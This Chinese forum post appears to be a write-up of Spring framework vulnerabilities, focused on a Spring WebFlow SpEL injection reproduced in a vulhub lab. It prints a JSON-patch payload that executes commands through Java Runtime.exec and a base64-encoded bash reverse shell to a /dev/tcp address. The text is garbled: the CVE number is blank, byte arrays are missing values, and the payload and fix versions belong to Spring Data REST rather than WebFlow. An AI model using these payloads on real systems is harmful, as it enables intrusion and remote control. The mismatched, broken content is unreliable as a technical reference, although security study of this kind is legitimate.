竹笋

首页 » 问答 » 问答 » 网络安全Spring框架漏洞总结二
TUhjnbcbe - 2022/8/28 21:04:00

安全防护

1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。2.使用2.0.x版本的用户升级到2.0.10以及更高的版本

因为对java不是很熟,所以没有对底层原理进行分析

2.SpringWebFlow框架远程代码执行(CVE--)

漏洞简介

SpringWebFlow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。

SpringWebFlow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

SpringWebFlow2.4.0-2.4.4

触发条件

MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

flowview对象中设置BinderConfiguration对象为空

漏洞复现

开启漏洞

点击login

可以看见这里有很多默认的用户名密码,随便选一组登录系统

然后访问id为1的酒店  {"op":"replace",  "path":"T(java.lang.Runtime).getRuntime().exec(newjava.lang.String(newbyte[]{,,,99,,32,47,,,,47,,99,99}))/lastname",  "value":"vulhub"  }]

成功写入:

反弹shell的poc,先进行base64编码:

bash-i/dev/tcp/.../bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}

{base64,-d}

{bash,-i}98,97,,,32,45,99,32,,,99,,,44,89,,70,,97,67,65,,97,83,65,43,74,,65,,90,71,86,50,76,51,82,,99,67,56,,79,84,73,,77,84,89,52,76,,69,51,77,,52,,77,,77,,77,84,73,,78,67,65,,80,,89,,,,,98,97,,,54,52,44,45,,,,,98,97,,,44,45,,

写入poc,成功反弹。

安全防护

升级到以下最新版本:

SpringDataREST2.5.12,2.6.7,3.0RC3

SpringBoot2.0.0.M4

SpringDatareleasetrainKay-RC3

对于该漏洞底层原理分析的文章可以参考这一篇:

1
查看完整版本: 网络安全Spring框架漏洞总结二